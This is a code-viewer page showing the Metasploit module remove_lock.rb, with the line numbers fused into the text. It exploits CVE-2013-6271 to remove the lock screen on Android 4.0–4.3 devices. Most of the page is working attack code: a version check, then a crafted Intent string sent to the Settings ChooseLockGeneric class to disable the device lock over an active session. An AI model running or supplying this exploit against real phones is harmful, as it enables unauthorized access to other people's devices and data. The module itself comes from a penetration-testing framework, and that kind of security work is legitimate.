Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/android/manage/remove_lock.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6Rank = NormalRanking78include Msf::Post::Common9include Msf::Post::Android::System1011def initialize(info = {})12super(13update_info(14info,15{16'Name' => 'Android Settings Remove Device Locks (4.0-4.3)',17'Description' => %q{18This module exploits a bug in the Android 4.0 to 4.3 com.android.settings.ChooseLockGeneric class.19Any unprivileged app can exploit this vulnerability to remove the lockscreen.20A logic flaw / design error exists in the settings application that allows an Intent from any21application to clear the screen lock. The user may see that the Settings application has crashed,22and the phone can then be unlocked by a swipe.23This vulnerability was patched in Android 4.4.24},25'License' => MSF_LICENSE,26'Author' => [27'CureSec', # discovery28'timwr' # metasploit module29],30'References' => [31[ 'CVE', '2013-6271' ],32[ 'URL', 'http://blog.curesec.com/article/blog/26.html' ],33[ 'URL', 'http://www.curesec.com/data/advisories/Curesec-2013-1011.pdf' ]34],35'SessionTypes' => [ 'meterpreter', 'shell' ],36'Platform' => 'android',37'DisclosureDate' => '2013-10-11',38'Compat' => {39'Meterpreter' => {40'Commands' => %w[41android_*42]43}44}45}46)47)48end4950def is_version_compat?51build_prop = get_build_prop5253# Sometimes cmd_exec fails to cat build_prop, so the #get_build_prop method returns54# empty.55if build_prop.empty?56fail_with(Failure::Unknown, 'Failed to retrieve build.prop, you might need to try again.')57end5859android_version = Rex::Version.new(build_prop['ro.build.version.release'])60if android_version <= Rex::Version.new('4.3') && android_version >= Rex::Version.new('4.0')61return true62end6364false65end6667def run68unless is_version_compat?69print_error('This module is only compatible with Android versions 4.0 to 4.3')70return71end7273result = session.android.activity_start('intent:#Intent;launchFlags=0x8000;component=com.android.settings/.ChooseLockGeneric;i.lockscreen.password_type=0;B.confirm_credentials=false;end')74if result.nil?75print_good('Intent started, the lock screen should now be a dud.')76print_good('Go ahead and manually swipe or provide any pin/password/pattern to continue.')77else78print_error("The Intent could not be started: #{result}")79end80end81end828384